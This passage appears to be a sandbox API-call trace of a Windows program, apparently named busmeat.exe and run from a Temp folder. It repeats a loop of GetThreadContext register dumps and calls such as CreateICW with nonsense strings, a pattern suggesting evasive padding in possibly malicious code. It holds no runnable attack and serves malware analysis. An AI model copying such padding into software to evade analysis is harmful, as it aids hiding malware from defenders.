[112]=0x44, [113]=0x0, [114]=0x61, [115]=0x0, [116]=0x74, [117]=0x0, [118]=0x61, [119]=0x0, [120]=0x5c, [121]=0x0, [122]=0x4c, [123]=0x0, [124]=0x6f, [125]=0x0, [126]=0x63, [127]=0x0, [128]=0x61, [129]=0x0, [130]=0x6c, [131]=0x0, [132]=0x5c, [133]=0x0, [134]=0x54, [135]=0x0, [136]=0x65, [137]=0x0, [138]=0x6d, [139]=0x0, [140]=0x70, [141]=0x0, [142]=0x5c, [143]=0x0, [144]=0x62, [145]=0x0, [146]=0x75, [147]=0x0, [148]=0x73, [149]=0x0, [150]=0x6d, [151]=0x0, [152]=0x65, [153]=0x0, [154]=0x61, [155]=0x0, [156]=0x74, [157]=0x0, [158]=0x2e, [159]=0x0, [160]=0x65, [161]=0x0, [162]=0x78, [163]=0x0, [164]=0x65, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x2, [169]=0x0, [170]=0x0, [171]=0x2, [172]=0x10, [173]=0x65, [174]=0xd1, [175]=0x0, [176]=0xb6, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0xd0, [181]=0xfe, [182]=0xff, [183]=0xff, [184]=0xf0, [185]=0xf1, [186]=0xf2, [187]=0xf3, [188]=0x4, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x27, [193]=0x0, [194]=0x0, [195]=0x27, [196]=0xed, [197]=0xff, [198]=0xff, [199]=0xff, [200]=0x36, [201]=0x1, [202]=0x0, [203]=0x37, [204]=0xfe, [205]=0xff, [206]=0xff, [207]=0xff, [208]=0x5, [209]=0x0, [210]=0x0, [211]=0x5, [212]=0x26, [213]=0xdc, [214]=0xc7, [215]=0x77, [216]=0x7, [217]=0x0, [218]=0x0, [219]=0x7, [220]=0xb0, [221]=0x81, [222]=0xd0, [223]=0x0, [224]=0xff, [225]=0x7, [226]=0x0, [227]=0x0, [228]=0xe8, [229]=0xfd, [230]=0x19, [231]=0x0, [232]=0xc0, [233]=0x0, [234]=0xd0, [235]=0x0, [236]=0x88, [237]=0x2, [238]=0xd0, [239]=0x0, [240]=0x23, [241]=0x1, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0xd0, [247]=0x0, [248]=0x22, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0xd0, [259]=0x0, [260]=0x8, [261]=0x8, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x6, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x2, [273]=0x0, [274]=0x0, [275]=0x2, [276]=0x27, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0xd0, [283]=0x0, [284]=0x36, [285]=0xff, [286]=0xff, [287]=0xff, [288]=0xa3, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x1, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x47, [297]=0x1, [298]=0x0, [299]=0x0, [300]=0x1, [301]=0x1, [302]=0x0, [303]=0x0, [304]=0x23, [305]=0x1, [306]=0x0, [307]=0x0, [308]=0x86, [309]=0x0, [310]=0x0, [311]=0x1, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x38, [317]=0x86, [318]=0xd1, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x8, [325]=0x65, [326]=0xd1, [327]=0x0, [328]=0xa, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x1, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x10, [337]=0x65, [338]=0xd1, [339]=0x0, [340]=0x8, [341]=0x65, [342]=0xd1, [343]=0x0, [344]=0x10, [345]=0x65, [346]=0xd1, [347]=0x0, [348]=0x2, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x8, [353]=0x65, [354]=0xd1, [355]=0x0, [356]=0xfe, [357]=0xff, [358]=0xff, [359]=0xff, [360]=0x20, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x64, [366]=0xd0, [367]=0x0, [368]=0x22, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0xb6, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0xc0, [381]=0x0, [382]=0xd0, [383]=0x0, [384]=0x3, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x22, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x60, [397]=0x2, [398]=0xd0, [399]=0x0, [400]=0x38, [401]=0x86, [402]=0xd1, [403]=0x0, [404]=0x38, [405]=0x86, [406]=0xd1, [407]=0x0, [408]=0x70, [409]=0xff, [410]=0x19, [411]=0x0, [412]=0x40, [413]=0xd, [414]=0xcb, [415]=0x77, [416]=0xe9, [417]=0x65, [418]=0xc1, [419]=0xd7, [420]=0xfe, [421]=0xff, [422]=0xff, [423]=0xff, [424]=0xc, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x76, [429]=0x8d, [430]=0xca, [431]=0x77, [432]=0xa7, [433]=0xf1, [434]=0xc9, [435]=0x77, [436]=0xff, [437]=0xff, [438]=0xff, [439]=0xff, [440]=0x24, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0xb0, [445]=0xfe, [446]=0x19, [447]=0x0, [448]=0x4, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x4, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x17, [461]=0xde, [462]=0x40, [463]=0x0, [464]=0x3, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0xc8, [469]=0xfe, [470]=0x19, [471]=0x0, [472]=0xa4, [473]=0x7b, [474]=0x40, [475]=0x0, [476]=0xc, [477]=0xff, [478]=0x19, [479]=0x0, [480]=0xd4, [481]=0xfe, [482]=0x19, [483]=0x0, [484]=0x1e, [485]=0x6f, [486]=0x40, [487]=0x0, [488]=0x3, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0xfc, [493]=0xfe, [494]=0x19, [495]=0x0, [496]=0x4d, [497]=0x46, [498]=0x40, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0xc, [509]=0xff, [510]=0x19, [511]=0x0))) returned 0
	[0066.201] CreateICW (pszDriver="Ciyexawekoza rixecufazukofa tepaxudocagi giyo vekesodo", pszDevice="Bokejuni kudihubeko", pszPort="Piyiwa yayehacube negi jugudanepiko tigodimuwusocu", pdm=0x0) returned 0x0
	[0066.202] PolyDraw (hdc=0x0, apt=0x0, aj=0x0, cpt=0) returned 0
	[0066.202] LocalFileTimeToFileTime (in: lpLocalFileTime=0x19ff20, lpFileTime=0x19ff28 | out: lpFileTime=0x19ff28) returned 1
	[0066.202] GetConsoleCP () returned 0x0
	[0066.202] GetThreadContext (in: hThread=0x0, lpContext=0x19fc1c | out: lpContext=0x19fc1c*(ContextFlags=0x1, Dr0=0xd18638, Dr1=0xd18630, Dr2=0xd18638, Dr3=0xd, Dr6=0x438, Dr7=0xfffffffe, FloatSave.ControlWord=0xd00000, FloatSave.StatusWord=0xd06b58, FloatSave.TagWord=0xad, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x1, FloatSave.DataOffset=0xd000c0, FloatSave.DataSelector=0x27000027, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2d, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x78, [9]=0x81, [10]=0xd0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0xd0, [15]=0x0, [16]=0x1c, [17]=0x8e, [18]=0xca, [19]=0x77, [20]=0x70, [21]=0xff, [22]=0x19, [23]=0x0, [24]=0x40, [25]=0xd, [26]=0xcb, [27]=0x77, [28]=0xe9, [29]=0x65, [30]=0xc1, [31]=0xd7, [32]=0xfe, [33]=0xff, [34]=0xff, [35]=0xff, [36]=0xbc, [37]=0xfc, [38]=0x19, [39]=0x0, [40]=0x26, [41]=0xdc, [42]=0xc7, [43]=0x77, [44]=0x40, [45]=0x4, [46]=0x0, [47]=0x0, [48]=0x48, [49]=0x4, [50]=0x0, [51]=0x0, [52]=0xb0, [53]=0x82, [54]=0xd0, [55]=0x0, [56]=0xa8, [57]=0xfc, [58]=0x19, [59]=0x0, [60]=0x30, [61]=0x30, [62]=0x40, [63]=0x0, [64]=0x79, [65]=0x63, [66]=0x40, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x48, [77]=0x4, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x0, SegFs=0x0, SegEs=0xd08178, SegDs=0x77ca8d76, Edi=0x77c9a217, Esi=0xffffffff, Ebx=0x24, Edx=0x19fcd0, Ecx=0x4, Eax=0x20, Ebp=0x68a8a80e, Eip=0x19ff10, SegCs=0x76a241a8, EFlags=0xa039a2a2, Esp=0x403030, SegSs=0x40e1a0, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0xa3, [5]=0xa3, [6]=0xdd, [7]=0x2d, [8]=0x0, [9]=0x0, [10]=0x40, [11]=0x0, [12]=0x0, [13]=0x90, [14]=0x74, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x1, [20]=0x8a, [21]=0x0, [22]=0x8c, [23]=0x0, [24]=0x4, [25]=0xfd, [26]=0x19, [27]=0x0, [28]=0x5c, [29]=0x0, [30]=0x44, [31]=0x0, [32]=0x65, [33]=0x0, [34]=0x76, [35]=0x0, [36]=0x69, [37]=0x0, [38]=0x63, [39]=0x0, [40]=0x65, [41]=0x0, [42]=0x5c, [43]=0x0, [44]=0x48, [45]=0x0, [46]=0x61, [47]=0x0, [48]=0x72, [49]=0x0, [50]=0x64, [51]=0x0, [52]=0x64, [53]=0x0, [54]=0x69, [55]=0x0, [56]=0x73, [57]=0x0, [58]=0x6b, [59]=0x0, [60]=0x56, [61]=0x0, [62]=0x6f, [63]=0x0, [64]=0x6c, [65]=0x0, [66]=0x75, [67]=0x0, [68]=0x6d, [69]=0x0, [70]=0x65, [71]=0x0, [72]=0x31, [73]=0x0, [74]=0x5c, [75]=0x0, [76]=0x55, [77]=0x0, [78]=0x73, [79]=0x0, [80]=0x65, [81]=0x0, [82]=0x72, [83]=0x0, [84]=0x73, [85]=0x0, [86]=0x5c, [87]=0x0, [88]=0x43, [89]=0x0, [90]=0x49, [91]=0x0, [92]=0x49, [93]=0x0, [94]=0x48, [95]=0x0, [96]=0x4d, [97]=0x0, [98]=0x4e, [99]=0x0, [100]=0x7e, [101]=0x0, [102]=0x31, [103]=0x0, [104]=0x5c, [105]=0x0, [106]=0x41, [107]=0x0, [108]=0x70, [109]=0x0, [110]=0x70, [111]=0x0, [112]=0x44, [113]=0x0, [114]=0x61, [115]=0x0, [116]=0x74, [117]=0x0, [118]=0x61, [119]=0x0, [120]=0x5c, [121]=0x0, [122]=0x4c, [123]=0x0, [124]=0x6f, [125]=0x0, [126]=0x63, [127]=0x0, [128]=0x61, [129]=0x0, [130]=0x6c, [131]=0x0, [132]=0x5c, [133]=0x0, [134]=0x54, [135]=0x0, [136]=0x65, [137]=0x0, [138]=0x6d, [139]=0x0, [140]=0x70, [141]=0x0, [142]=0x5c, [143]=0x0, [144]=0x62, [145]=0x0, [146]=0x75, [147]=0x0, [148]=0x73, [149]=0x0, [150]=0x6d, [151]=0x0, [152]=0x65, [153]=0x0, [154]=0x61, [155]=0x0, [156]=0x74, [157]=0x0, [158]=0x2e, [159]=0x0, [160]=0x65, [161]=0x0, [162]=0x78, [163]=0x0, [164]=0x65, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x2, [169]=0x0, [170]=0x0, [171]=0x2, [172]=0x10, [173]=0x65, [174]=0xd1, [175]=0x0, [176]=0xb6, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0xd0, [181]=0xfe, [182]=0xff, [183]=0xff, [184]=0xf0, [185]=0xf1, [186]=0xf2, [187]=0xf3, [188]=0x4, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x27, [193]=0x0, [194]=0x0, [195]=0x27, [196]=0xed, [197]=0xff, [198]=0xff, [199]=0xff, [200]=0x36, [201]=0x1, [202]=0x0, [203]=0x37, [204]=0xfe, [205]=0xff, [206]=0xff, [207]=0xff, [208]=0x5, [209]=0x0, [210]=0x0, [211]=0x5, [212]=0x26, [213]=0xdc, [214]=0xc7, [215]=0x77, [216]=0x7, [217]=0x0, [218]=0x0, [219]=0x7, [220]=0xb0, [221]=0x81, [222]=0xd0, [223]=0x0, [224]=0xff, [225]=0x7, [226]=0x0, [227]=0x0, [228]=0xe8, [229]=0xfd, [230]=0x19, [231]=0x0, [232]=0xc0, [233]=0x0, [234]=0xd0, [235]=0x0, [236]=0x88, [237]=0x2, [238]=0xd0, [239]=0x0, [240]=0x23, [241]=0x1, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0xd0, [247]=0x0, [248]=0x22, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0xd0, [259]=0x0, [260]=0x8, [261]=0x8, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x6, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x2, [273]=0x0, [274]=0x0, [275]=0x2, [276]=0x27, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0xd0, [283]=0x0, [284]=0x36, [285]=0xff, [286]=0xff, [287]=0xff, [288]=0xa3, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x1, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x47, [297]=0x1, [298]=0x0, [299]=0x0, [300]=0x1, [301]=0x1, [302]=0x0, [303]=0x0, [304]=0x23, [305]=0x1, [306]=0x0, [307]=0x0, [308]=0x86, [309]=0x0, [310]=0x0, [311]=0x1, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x38, [317]=0x86, [318]=0xd1, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x8, [325]=0x65, [326]=0xd1, [327]=0x0, [328]=0xa, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x1, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x10, [337]=0x65, [338]=0xd1, [339]=0x0, [340]=0x8, [341]=0x65, [342]=0xd1, [343]=0x0, [344]=0x10, [345]=0x65, [346]=0xd1, [347]=0x0, [348]=0x2, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x8, [353]=0x65, [354]=0xd1, [355]=0x0, [356]=0xfe, [357]=0xff, [358]=0xff, [359]=0xff, [360]=0x20, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x64, [366]=0xd0, [367]=0x0, [368]=0x22, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0xb6, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0xc0, [381]=0x0, [382]=0xd0, [383]=0x0, [384]=0x3, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x22, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x60, [397]=0x2, [398]=0xd0, [399]=0x0, [400]=0x38, [401]=0x86, [402]=0xd1, [403]=0x0, [404]=0x38, [405]=0x86, [406]=0xd1, [407]=0x0, [408]=0x70, [409]=0xff, [410]=0x19, [411]=0x0, [412]=0x40, [413]=0xd, [414]=0xcb, [415]=0x77, [416]=0xe9, [417]=0x65, [418]=0xc1, [419]=0xd7, [420]=0xfe, [421]=0xff, [422]=0xff, [423]=0xff, [424]=0xc, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x76, [429]=0x8d, [430]=0xca, [431]=0x77, [432]=0xa7, [433]=0xf1, [434]=0xc9, [435]=0x77, [436]=0xff, [437]=0xff, [438]=0xff, [439]=0xff, [440]=0x24, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0xb0, [445]=0xfe, [446]=0x19, [447]=0x0, [448]=0x4, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x4, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x17, [461]=0xde, [462]=0x40, [463]=0x0, [464]=0x3, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0xc8, [469]=0xfe, [470]=0x19, [471]=0x0, [472]=0xa4, [473]=0x7b, [474]=0x40, [475]=0x0, [476]=0xc, [477]=0xff, [478]=0x19, [479]=0x0, [480]=0xd4, [481]=0xfe, [482]=0x19, [483]=0x0, [484]=0x1e, [485]=0x6f, [486]=0x40, [487]=0x0, [488]=0x3, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0xfc, [493]=0xfe, [494]=0x19, [495]=0x0, [496]=0x4d, [497]=0x46, [498]=0x40, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0xc, [509]=0xff, [510]=0x19, [511]=0x0))) returned 0
	[0066.202] CreateICW (pszDriver="Ciyexawekoza rixecufazukofa tepaxudocagi giyo vekesodo", pszDevice="Bokejuni kudihubeko", pszPort="Piyiwa yayehacube negi jugudanepiko tigodimuwusocu", pdm=0x0) returned 0x0
	[0066.203] PolyDraw (hdc=0x0, apt=0x0, aj=0x0, cpt=0) returned 0
	[0066.203] LocalFileTimeToFileTime (in: lpLocalFileTime=0x19ff20, lpFileTime=0x19ff28 | out: lpFileTime=0x19ff28) returned 1
	[0066.203] GetConsoleCP () returned 0x0
	[0066.203] GetThreadContext (in: hThread=0x0, lpContext=0x19fc1c | out: lpContext=0x19fc1c*(ContextFlags=0x1, Dr0=0xd18638, Dr1=0xd18630, Dr2=0xd18638, Dr3=0xd, Dr6=0x438, Dr7=0xfffffffe, FloatSave.ControlWord=0xd00000, FloatSave.StatusWord=0xd06b58, FloatSave.TagWord=0xad, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x1, FloatSave.DataOffset=0xd000c0, FloatSave.DataSelector=0x27000027, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2d, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x78, [9]=0x81, [10]=0xd0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0xd0, [15]=0x0, [16]=0x1c, [17]=0x8e, [18]=0xca, [19]=0x77, [20]=0x70, [21]=0xff, [22]=0x19, [23]=0x0, [24]=0x40, [25]=0xd, [26]=0xcb, [27]=0x77, [28]=0xe9, [29]=0x65, [30]=0xc1, [31]=0xd7, [32]=0xfe, [33]=0xff, [34]=0xff, [35]=0xff, [36]=0xbc, [37]=0xfc, [38]=0x19, [39]=0x0, [40]=0x26, [41]=0xdc, [42]=0xc7, [43]=0x77, [44]=0x40, [45]=0x4, [46]=0x0, [47]=0x0, [48]=0x48, [49]=0x4, [50]=0x0, [51]=0x0, [52]=0xb0, [53]=0x82, [54]=0xd0, [55]=0x0, [56]=0xa8, [57]=0xfc, [58]=0x19, [59]=0x0, [60]=0x30, [61]=0x30, [62]=0x40, [63]=0x0, [64]=0x79, [65]=0x63, [66]=0x40, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x48, [77]=0x4, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x0, SegFs=0x0, SegEs=0xd08178, SegDs=0x77ca8d76, Edi=0x77c9a217, Esi=0xffffffff, Ebx=0x24, Edx=0x19fcd0, Ecx=0x4, Eax=0x20, Ebp=0x68a8a80e, Eip=0x19ff10, SegCs=0x76a241a8, EFlags=0xa039a2a2, Esp=0x403030, SegSs=0x40e1a0, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0xa3, [5]=0xa3, [6]=0xdd, [7]=0x2d, [8]=0x0, [9]=0x0, [10]=0x40, [11]=0x0, [12]=0x0, [13]=0x90, [14]=0x74, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x1, [20]=0x8a, [21]=0x0, [22]=0x8c, [23]=0x0, [24]=0x4, [25]=0xfd, [26]=0x19, [27]=0x0, [28]=0x5c, [29]=0x0, [30]=0x44, [31]=0x0, [32]=0x65, [33]=0x0, [34]=0x76, [35]=0x0, [36]=0x69, [37]=0x0, [38]=0x63, [39]=0x0, [40]=0x65, [41]=0x0, [42]=0x5c, [43]=0x0, [44]=0x48, [45]=0x0, [46]=0x61, [47]=0x0, [48]=0x72, [49]=0x0, [50]=0x64, [51]=0x0, [52]=0x64, [53]=0x0, [54]=0x69, [55]=0x0, [56]=0x73, [57]=0x0, [58]=0x6b, [59]=0x0, [60]=0x56, [61]=0x0, [62]=0x6f, [63]=0x0, [64]=0x6c, [65]=0x0, [66]=0x75, [67]=0x0, [68]=0x6d, [69]=0x0, [70]=0x65, [71]=0x0, [72]=0x31, [73]=0x0, [74]=0x5c, [75]=0x0, [76]=0x55, [77]=0x0, [78]=0x73, [79]=0x0, [80]=0x65, [81]=0x0, [82]=0x72, [83]=0x0, [84]=0x73, [85]=0x0, [86]=0x5c, [87]=0x0, [88]=0x43, [89]=0x0, [90]=0x49, [91]=0x0, [92]=0x49, [93]=0x0, [94]=0x48, [95]=0x0, [96]=0x4d, [97]=0x0, [98]=0x4e, [99]=0x0, [100]=0x7e, [101]=0x0, [102]=0x31, [103]=0x0, [104]=0x5c, [105]=0x0, [106]=0x41, [107]=0x0, [108]=0x70, [109]=0x0, [110]=0x70, [111]=0x0, [112]=0x44, [113]=0x0, [114]=0x61, [115]=0x0, [116]=0x74, [117]=0x0, [118]=0x61, [119]=0x0, [120]=0x5c, [121]=0x0, [122]=0x4c, [123]=0x0, [124]=0x6f, [125]=0x0, [126]=0x63, [127]=0x0, [128]=0x61, [129]=0x0, [130]=0x6c, [131]=0x0, [132]=0x5c, [133]=0x0, [134]=0x54, [135]=0x0, [136]=0x65, [137]=0x0, [138]=0x6d, [139]=0x0, [140]=0x70, [141]=0x0, [142]=0x5c, [143]=0x0, [144]=0x62, [145]=0x0, [146]=0x75, [147]=0x0, [148]=0x73, [149]=0x0, [150]=0x6d, [151]=0x0, [152]=0x65, [153]=0x0, [154]=0x61, [155]=0x0, [156]=0x74, [157]=0x0, [158]=0x2e, [159]=0x0, [160]=0x65, [161]=0x0, [162]=0x78, [163]=0x0, [164]=0x65, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x2, [169]=0x0, [170]=0x0, [171]=0x2, [172]=0x10, [173]=0x65, [174]=0xd1, [175]=0x0, [176]=0xb6, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0xd0, [181]=0xfe, [182]=0xff, [183]=0xff, [184]=0xf0, [185]=0xf1, [186]=0xf2, [187]=0xf3, [188]=0x4, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x27, [193]=0x0, [194]=0x0, [195]=0x27, [196]=0xed, [197]=0xff, [198]=0xff, [199]=0xff, [200]=0x36, [201]=0x1, [202]=0x0, [203]=0x37, [204]=0xfe, [205]=0xff, [206]=0xff, [207]=0xff, [208]=0x5, [209]=0x0, [210]=0x0, [211]=0x5, [212]=0x26, [213]=0xdc, [214]=0xc7, [215]=0x77, [216]=0x7, [217]=0x0, [218]=0x0, [219]=0x7, [220]=0xb0, [221]=0x81, [222]=0xd0, [223]=0x0, [224]=0xff, [225]=0x7, [226]=0x0, [227]=0x0, [228]=0xe8, [229]=0xfd, [230]=0x19, [231]=0x0, [232]=0xc0, [233]=0x0, [234]=0xd0, [235]=0x0, [236]=0x88, [237]=0x2, [238]=0xd0, [239]=0x0, [240]=0x23, [241]=0x1, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0xd0, [247]=0x0, [248]=0x22, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0xd0, [259]=0x0, [260]=0x8, [261]=0x8, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x6, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x2, [273]=0x0, [274]=0x0, [275]=0x2, [276]=0x27, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0xd0, [283]=0x0, [284]=0x36, [285]=0xff, [286]=0xff, [287]=0xff, [288]=0xa3, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x1, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x47, [297]=0x1, [298]=0x0, [299]=0x0, [300]=0x1, [301]=0x1, [302]=0x0, [303]=0x0, [304]=0x23, [305]=0x1, [306]=0x0, [307]=0x0, [308]=0x86, [309]=0x0, [310]=0x0, [311]=0x1, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x38, [317]=0x86, [318]=0xd1, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x8, [325]=0x65, [326]=0xd1, [327]=0x0, [328]=0xa, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x1, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x10, [337]=0x65, [338]=0xd1, [339]=0x0, [340]=0x8, [341]=0x65, [342]=0xd1, [343]=0x0, [344]=0x10, [345]=0x65, [346]=0xd1, [347]=0x0, [348]=0x2, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x8, [353]=0x65, [354]=0xd1, [355]=0x0, [356]=0xfe, [357]=0xff, [358]=0xff, [359]=0xff, [360]=0x20, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x64, [366]=0xd0, [367]=0x0, [368]=0x22, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0xb6, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0xc0, [381]=0x0, [382]=0xd0, [383]=0x0, [384]=0x3, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x22, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x60, [397]=0x2, [398]=0xd0, [399]=0x0, [400]=0x38, [401]=0x86, [402]=0xd1, [403]=0x0, [404]=0x38, [405]=0x86, [406]=0xd1, [407]=0x0, [408]=0x70, [409]=0xff, [410]=0x19, [411]=0x0, [412]=0x40, [413]=0xd, [414]=0xcb, [415]=0x77, [416]=0xe9, [417]=0x65, [418]=0xc1, [419]=0xd7, [420]=0xfe, [421]=0xff, [422]=0xff, [423]=0xff, [424]=0xc, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x76, [429]=0x8d, [430]=0xca, [431]=0x77, [432]=0xa7, [433]=0xf1, [434]=0xc9, [435]=0x77, [436]=0xff, [437]=0xff, [438]=0xff, [439]=0xff, [440]=0x24, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0xb0, [445]=0xfe, [446]=0x19, [447]=0x0, [448]=0x4, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x4, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x17, [461]=0xde, [462]=0x40, [463]=0x0, [464]=0x3, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0xc8, [469]=0xfe, [470]=0x19, [471]=0x0, [472]=0xa4, [473]=0x7b, [474]=0x40, [475]=0x0, [476]=0xc, [477]=0xff, [478]=0x19, [479]=0x0, [480]=0xd4, [481]=0xfe, [482]=0x19, [483]=0x0, [484]=0x1e, [485]=0x6f, [486]=0x40, [487]=0x0, [488]=0x3, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0xfc, [493]=0xfe, [494]=0x19, [495]=0x0, [496]=0x4d, [497]=0x46, [498]=0x40, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0xc, [509]=0xff, [510]=0x19, [511]=0x0))) returned 0
	[0066.203] CreateICW (pszDriver="Ciyexawekoza rixecufazukofa tepaxudocagi giyo vekesodo", pszDevice="Bokejuni kudihubeko", pszPort="Piyiwa yayehacube negi jugudanepiko tigodimuwusocu", pdm=0x0) returned 0x0
	[0066.203] PolyDraw (hdc=0x0, apt=0x0, aj=0x0, cpt=0) returned 0
	[0066.203] LocalFileTimeToFileTime (in: lpLocalFileTime=0x19ff20, lpFileTime=0x19ff28 | out: lpFileTime=0x19ff28) returned 1
	[0066.203] GetConsoleCP () returned 0x0
